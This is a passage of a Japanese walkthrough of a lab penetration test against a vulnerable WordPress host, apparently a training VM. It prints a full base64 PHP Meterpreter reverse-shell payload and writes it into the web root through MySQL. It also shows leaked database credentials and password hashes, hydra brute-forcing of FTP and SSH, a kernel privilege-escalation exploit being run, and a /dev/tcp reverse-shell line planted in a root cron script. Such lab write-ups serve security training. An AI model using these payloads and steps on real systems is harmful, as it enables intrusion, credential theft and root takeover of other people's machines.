WARNING: The certificate of ‘172.16.208.205’ hasn't got a known issuer.
The certificate's owner does not match hostname ‘172.16.208.205’
HTTP request sent, awaiting response... 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘1823284410.jpeg’

1823284410.jpeg    100%[=============>]   2.97K  --.-KB/s    in 0.001s  

2019-09-12 10:45:23 (2.65 MB/s) - ‘1823284410.jpeg’ saved [3042/3042]
```

```
root@kali:~# file 1823284410.jpeg 
1823284410.jpeg: PHP script, ASCII text
```

`1823284410.jpeg`ファイルの内容を確認したところ、`MySQL`に関するクレデンシャル情報を取得することができました。
`39646.py`コードは、ローカルファイル（`wp-config.php`）の内容を読み取り、そのファイルを.jpegイメージとして`/wp-content/uploads`ディレクトリに保存する機能を有しています。

```
root@kali:~# cat 1823284410.jpeg 
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

#### MySQL探索
MySQLデータベースに直接ログインします。

```
root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205 -e "show databases;" 
+--------------------+
| Database           |
+--------------------+
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
+--------------------+
root@kali:~#
```

`wordpress`データベースのテーブルについて確認します。

```
root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205 -p wordpress -e "show tables"
Enter password: 
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
root@kali:~# 
```

`wordpress`データベースの`wp_users`テーブルを照会してみましょう。ハッシュ化されたパスワードの一覧を取得することに成功しました。

```
root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205 -p wordpress -e "select * from wp_users"
Enter password: 
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email            | user_url         | user_registered     | user_activation_key | user_status | display_name    |
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
|  1 | John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. | john          | john@red.localhost    | http://localhost | 2016-06-03 23:18:47 |                     |           0 | John Smith      |
|  2 | Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 | elly          | Elly@red.localhost    |                  | 2016-06-05 16:11:33 |                     |           0 | Elly Jones      |
|  3 | Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 | peter         | peter@red.localhost   |                  | 2016-06-05 16:13:16 |                     |           0 | Peter Parker    |
|  4 | barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 | barry         | barry@red.localhost   |                  | 2016-06-05 16:14:26 |                     |           0 | Barry Atkins    |
|  5 | heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 | heather       | heather@red.localhost |                  | 2016-06-05 16:18:04 |                     |           0 | Heather Neville |
|  6 | garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 | garry         | garry@red.localhost   |                  | 2016-06-05 16:18:23 |                     |           0 | garry           |
|  7 | harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 | harry         | harry@red.localhost   |                  | 2016-06-05 16:18:41 |                     |           0 | harry           |
|  8 | scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 | scott         | scott@red.localhost   |                  | 2016-06-05 16:18:59 |                     |           0 | scott           |
|  9 | kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 | kathy         | kathy@red.localhost   |                  | 2016-06-05 16:19:14 |                     |           0 | kathy           |
| 10 | tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 | tim           | tim@red.localhost     |                  | 2016-06-05 16:19:29 |                     |           0 | tim             |
| 11 | ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 | zoe           | zoe@red.localhost     |                  | 2016-06-05 16:19:50 |                     |           0 | ZOE             |
| 12 | Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. | dave          | dave@red.localhost    |                  | 2016-06-05 16:20:09 |                     |           0 | Dave            |
| 13 | Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 | simon         | simon@red.localhost   |                  | 2016-06-05 16:20:35 |                     |           0 | Simon           |
| 14 | Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. | abby          | abby@red.localhost    |                  | 2016-06-05 16:20:53 |                     |           0 | Abby            |
| 15 | Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 | vicki         | vicki@red.localhost   |                  | 2016-06-05 16:21:14 |                     |           0 | Vicki           |
| 16 | Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 | pam           | pam@red.localhost     |                  | 2016-06-05 16:42:23 |                     |           0 | Pam             |
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
root@kali:~# 
```

#### ペイロードの作成
ペイロードを作成するには、`msfvenomu`コマンドを使用します。コマンド構文は、`msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.208.226 LPORT=4444 -e php/base64 > shell.php`です。オプションの狙いは、次の通りです。

--payload ｜ -p: ペイロードのパス
lhost=: 接続先IPアドレスの指定（攻撃端末）
lport=: 接続ポート番号の指定
--encoder ｜ -e: 出力ファイルのエンコード指定

```
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.208.226 LPORT=4444 -e php/base64 > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1510 (iteration=0)
php/base64 chosen with final size 1510
Payload size: 1510 bytes
```

出力シェルコード`shell.php`に`<?php ?>`追加します。

```
<?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNi4yMDguMjI2JzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNr.KCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs)); ?>
```

`select into outfile`ステートメントを使用して、ペイロードを`upload`ディレクトリにドロップします。

```
root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 70
Server version: 5.7.27-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> select "<?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNi4yMDguMjI2JzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNr.KCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs)); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
Query OK, 1 row affected (0.00 sec)
```

攻撃端末側で`Metasploit Framework`のコマンド構文を使用し、`multi/handler`を立ち上げてリバースシェルからの接続を待ち受けます。

```
root@kali:~# msfconsole

msf > use multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.16.208.226
lhost => 172.16.208.226
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.208.226   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.208.226:4444
```

次に、`multi/handler`がアクティブな状態で、`curl`コマンドを使って、`shell.php`ファイルを呼び出します。

```
root@kali:~# curl -k https://172.16.208.205:12380/blogblog/wp-content/uploads/shell.php
```

システム情報（`sysinfo`）とセッションの実行権限（`getuid`）について確認しましょう。

```
[*] Sending stage (37775 bytes) to 172.16.208.205
[*] Meterpreter session 1 opened (172.16.208.226:4444 -> 172.16.208.205:58192) at 2019-09-12 16:05:15 +0900

meterpreter > sysinfo
Computer    : red.initech
OS          : Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
meterpreter > 
```

## システム探索
さらに、`shell`に入ります。

```
meterpreter > shell
Process 24096 created.
Channel 0 created.
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial

uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

pwd
/var/www/https/blogblog/wp-content/uploads
```
### ブルートフォース攻撃
#### FTP アプローチ

[FTPサービスのスキャン](https://qiita.com/v_avenger/items/69dd59f81a5ce994bbc3#ftp%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%A3%E3%83%B3)の結果、`Harry`、`Elly`、`John`ユーザアカウントの存在が明らかになっています。
そこで、`hydra`コマンドを使って、ブルートフォース攻撃を仕掛けます。狙いは脆弱な状態で使用しているアカウントの特定です。
そこで、`hydra -l elly -e nsr 172.16.208.205 ftp`コマンド構文をを使用します。各オプションの狙いは、次の通りです。

- -l LOGIN or -L FILE：ログイン名、またはログイン名のリストファイル
- -e nsr：「null / same / reverse」オプション, 「n」nullパスワード、「s」ユーザ名と同一パスワード、「r」ユーザ名の逆さ文字なパスワードを試行

結果、`elly`ユーザアカウントのパスワードは`password: ylle`であることが特定できました。

```
root@kali:~# hydra -l elly -e nsr 172.16.208.205 ftp
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-13 16:31:57
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:0), ~3 try per task
[DATA] attacking ftp://172.16.208.205:21/
[21][ftp] host: 172.16.208.205   login: elly   password: ylle
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-13 16:32:01
```
`elly/ylle`アカウントを使って、FTP接続を試みます。
<img width="827" alt="ftp.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3b729491-0d0c-436a-a2ca-23496045abde.png">
興味深いファイルは次のとおりでした。

* passwd
* ftpusers
* apache2/apache2.conf
* apache2/ports.conf
* crontab

この調子で、SSHアクセスも試行してみます。残念ながら、`elly/ylle`アカウントによるSSHアクセスは許可されていないようです。

```
root@kali:~# ssh elly@172.16.208.205
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
elly@172.16.208.205's password: 
Permission denied, please try again.
elly@172.16.208.205's password: 
Permission denied, please try again.
elly@172.16.208.205's password: 
elly@172.16.208.205: Permission denied (publickey,password).
root@kali:~# 
```

#### /etc/passwd アプローチ
[FTPアプローチ](https://qiita.com/v_avenger/items/69dd59f81a5ce994bbc3#ftp-%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81)にて、`passwd`ファイルを取得しました。
`cat`コマンドを使って、ユーザ名一覧を作成します。コマンド構文は`cat passwd | cut –d“：” –f1> usernames.txt`です。

```
root@kali:~# cat passwd | cut -d":" -f1
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
```

`hydra`コマンドを使って、ブルートフォース攻撃を仕掛けます。コマンド構文は`hydra –e nsr –L usernames.txt –t 4 172.16.208.205 ssh`です。

```
root@kali:~# hydra -e nsr -L usernames.txt -t 4 172.16.208.205 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-13 17:17:37
[DATA] max 4 tasks per 1 server, overall 4 tasks, 183 login tries (l:61/p:0), ~3 tries per task
[DATA] attacking ssh://172.16.208.205:22/
[STATUS] 64.00 tries/min, 64 tries in 00:00h, 0 to do in 01:00h, 119 active
[22][ssh] host: 172.16.208.205   login: SHayslett   password: SHayslett
[STATUS] 64.00 tries/min, 128 tries in 00:00h, 0 to do in 02:00h, 55 active
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-13 17:20:35
root@kali:~# 
```

判明した`SHayslett/SHayslett`アカウントを使って、SSHアクセスを試行してみます。ログインに成功です。

```
root@kali:~# ssh SHayslett@172.16.208.205
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
SHayslett@172.16.208.205's password: 
Welcome back!


SHayslett@red:~$ id
uid=1005(SHayslett) gid=1005(SHayslett) groups=1005(SHayslett)
SHayslett@red:~$ 
```

後は、[特権の引き上げ](https://qiita.com/v_avenger/items/69dd59f81a5ce994bbc3#%E7%89%B9%E6%A8%A9%E3%81%AE%E5%BC%95%E3%81%8D%E4%B8%8A%E3%81%92)を狙っていきましょう。

#### wp_users テーブル
[MySQL探索](https://qiita.com/v_avenger/items/69dd59f81a5ce994bbc3#mysql%E6%8E%A2%E7%B4%A2)の結果、明らかとなった、`wp_users`テーブル情報を手がかりに、ブルートフォース攻撃の有効性について検証してみましょう。
`wp_users`テーブルの内、`ID: 1`が割り当てられている`John `（John Smith）アカウントは特に魅力的な可能性が高いと推測できます。
<img width="827" alt="Brute Force.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7c6a7f75-14d5-bec6-bf49-413936527142.png">

ブルートフォース攻撃に不要な情報を`awk`コマンドを使って除去します。

```
root@kali:~# awk -F'|' '{print $3}' wp_users.txt
 John       
 Elly       
 Peter      
 barry      
 heather    
 garry      
 harry      
 scott      
 kathy      
 tim        
 ZOE        
 Dave       
 Simon      
 Abby       
 Vicki      
 Pam
```

## 特権の引き上げ
### Kernel Exploit
システムは、`Linux red.initech 4.4.0-21-generic`の`Ubuntu 16.04 LTS`にて動作していることが判明しています。
そこで、これら情報をもとに、特権昇格の可能性を探ります。
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されているexploitコードを検索します。

```
root@kali:~# searchsploit 4.4.0-21
------------------------------------------------- ----------------------------------------
 Exploit Title                                   |  Path
                                                 | (/usr/share/exploitdb/)
------------------------------------------------- ----------------------------------------
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfi | exploits/linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'ne | exploits/linux/local/44300.c
------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# searchsploit linux kernel 4.4 ubuntu 16.04
------------------------------------------------- ----------------------------------------
 Exploit Title                                   |  Path
                                                 | (/usr/share/exploitdb/)
------------------------------------------------- ----------------------------------------
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Pr | exploits/linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfi | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdpu | exploits/linux/local/39772.txt
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Loca | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'ne | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14. | exploits/linux/local/43418.c
------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 
```

いくつか候補がありそうです。ここでは、[EDB-ID: 39772](https://www.exploit-db.com/exploits/33899)を採用します。

指定された`39772.zip`ファイルをダウンロードします。

```
root@kali:~# wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
.
.
.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: ‘39772.zip’

39772.zip              100%[==========================>]   6.86K  --.-KB/s    in 0.001s  

2019-09-12 16:40:25 (5.32 MB/s) - ‘39772.zip’ saved [7025/7025]

root@kali:~# 
```

標的へコードを送るため、ローカルサーバを立ち上げます。`python -m SimpleHTTPServer`コマンドを実行します。

```
root@kali:~# python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
172.16.208.205 - - [12/Sep/2019 16:51:26] "GET /39772.zip HTTP/1.1" 200 -
```

標的の`shell`に入り、`/tmp`ディレクトリに移動して、`39772.zip`コードをダウンロードします。アーカイブされている各ファイルを展開します。

```
cd /tmp

wget http://172.16.208.226:8081/39772.zip
--2019-09-12 08:51:25--  http://172.16.208.226:8081/39772.zip
Connecting to 172.16.208.226:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: '39772.zip'

     0K ......                                                100%  381M=0s

2019-09-12 08:51:25 (381 MB/s) - '39772.zip' saved [7025/7025]

unzip 39772.zip
Archive:  39772.zip
   creating: 39772/
  inflating: 39772/.DS_Store         
   creating: __MACOSX/
   creating: __MACOSX/39772/
  inflating: __MACOSX/39772/._.DS_Store  
  inflating: 39772/crasher.tar       
  inflating: __MACOSX/39772/._crasher.tar  
  inflating: 39772/exploit.tar       
  inflating: __MACOSX/39772/._exploit.tar  

cd 39772
tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
```

ファイルをコンパイルし、実行します。

```
cd ebpf_mapfd_doubleput_exploit
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
whoami
root
```

### cron
`linuxprivchecker.py`プログラムを使って、特権昇格に関する別の可能性について調査します。まず、標的環境にてダウンロードを行います。

```
SHayslett@red:~$ cd /tmp
SHayslett@red:/tmp$ wget https://www.securitysift.com/download/linuxprivchecker.py
--2019-09-15 13:14:33--  https://www.securitysift.com/download/linuxprivchecker.py
Resolving www.securitysift.com (www.securitysift.com)... 173.254.14.183
Connecting to www.securitysift.com (www.securitysift.com)|173.254.14.183|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [application/octet-stream]
Saving to: ‘linuxprivchecker.py’

linuxprivchecker.py  100%[=====================>]  24.71K  --.-KB/s    in 0s      

2019-09-15 13:14:35 (249 MB/s) - ‘linuxprivchecker.py’ saved [25304/25304]

SHayslett@red:/tmp$
```

`linuxprivchecker.py`プログラムを実行し、注目すべき箇所を抜粋してみました。

```
SHayslett@red:/tmp$ python linuxprivchecker.py 
=================================================================================================
LINUX PRIVILEGE ESCALATION CHECKER
=================================================================================================
.
.
.
[+] Kernel
    Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016

[+] Hostname
    red.initech
.
.
.
[+] Scheduled cron jobs
    -rw-r--r-- 1 root root  722 Apr  5  2016 /etc/crontab
    /etc/cron.d:
    total 32
    drwxr-xr-x   2 root root  4096 Jun  3  2016 .
    drwxr-xr-x 100 root root 12288 Sep 15 13:09 ..
    -rw-r--r--   1 root root    56 Jun  3  2016 logrotate
.
.
.
[+] World Writeable Directories for Users other than Root
    drwxrwxrwx 2 www-data www-data 4096 Jun  7  2016 /var/www/https/blogblog/wp-content/uploads
    drwxrwxrwx 2 www www 4096 Jun  5  2016 /home/www
.
.
.
[+] World Writable Files
    -rwxrwxrwx 1 root root 51 Jun  3  2016 /usr/local/sbin/cron-logrotate.sh
    --w--w--w- 1 root root 0 Sep 15 13:14 
.
.
.
Finished
=================================================================================================
SHayslett@red:/tmp$ 
```
`cron jobs`に登録されている`cron-logrotate.sh`を編集し、ペイロードを発動させることを検討してみます。
[pentestmonkey](http://pentestmonkey.net/)の[Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)からペイロードを選択して仕掛けてみましょう。

```
SHayslett@red:/tmp$ vim /usr/local/sbin/cron-logrotate.sh 
Simon, you really need to-do something about this
& /dev/tcp/172.16.208.232/444 0>&1
```

* `vim`の操作コマンドは次のとおり

|コマンド|動作|
|:---|:---|
|i|挿入モード|
|Esc|ノーマルモード|
|:|コマンドモード|
|:w|保存|
|:q|終了|
|:wq|保存してから終了|

`/etc/cron.d/logrotete`を確認すると、5分間間隔で`cron-logrotate.sh`が起動されていることが確認できます。

```
SHayslett@red:/tmp$ cat /etc/cron.d/logrotate 
*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
```

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けます（待ち時間は、5分間です）。

```
root@kali:~# nc -lvp 444
listening on [any] 444 ...
```

## システム探索 Part 2
### フラグの取得
特権取得後、`/root`ディレクトリを探索します。`flag.txt`ファイルが確認できます。

![flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/591a4c83-1253-76a2-656a-72e98ff70c14.png)

### root プロセスの確認
#### nc.sh スクリプト
root権限で動いているプロセスを確認してみます。[TCP 666のスキャン](https://qiita.com/v_avenger/items/69dd59f81a5ce994bbc3#tcp-666%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%A3%E3%83%B3)の詳細が明らかになります。

```
root@red:~# ps aux | grep root
.
.
.
root      1385  0.0  0.2   5720  2212 ?        S    Sep12   0:00 /bin/bash /root/python.sh
root      1387  0.0  0.2   5724  2680 ?        S    Sep12   0:00 /bin/bash /usr/local/src/nc.sh
root      1389  0.0  0.2   6472  2644 ?        S    Sep12   0:00 su -c authbind php -S 0.0.0.0:80 -t /home/www/ &>/dev/null www
root      1399  0.0  0.2   6472  2556 ?        S    Sep12   0:00 su -c cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null JKanode
root      1400  0.0  0.1   4748  1392 tty1     Ss+  Sep12   0:00 /sbin/agetty --noclear tty1 linux
root      1451  0.0  0.3  34088  3352 ?        Ss   Sep12   0:00 /usr/lib/postfix/sbin/master
root     12829  0.0  0.0      0     0 ?        S    03:21   0:00 [kworker/0:1]
root     13384  0.0  0.0      0     0 ?        S    03:37   0:00 [kworker/u16:0]
root     13731  0.0  0.0   2688   672 ?        S    04:07   0:00 nc -nlvp 666
.
.
.
root@red:~# 
```

`/usr/local/src/nc.sh`スクリプトファイルに注目しました。`cat`コマンドを使って確認してみます。

```
root@red:~# cat /usr/local/src/nc.sh
#!/bin/bash
while true; do
  (nc -nlvp 666 < /usr/local/src/nc.zip &>/dev/null) && sleep 10s;
done
root@red:~# 
```

これにより、`666/tcp`サービスを提供していたのは`nc`コマンドだったことが判明しました。

#### python.sh スクリプト
`python.sh`スクリプトも気になる存在です。`cat`コマンドを使って確認してみます。

```
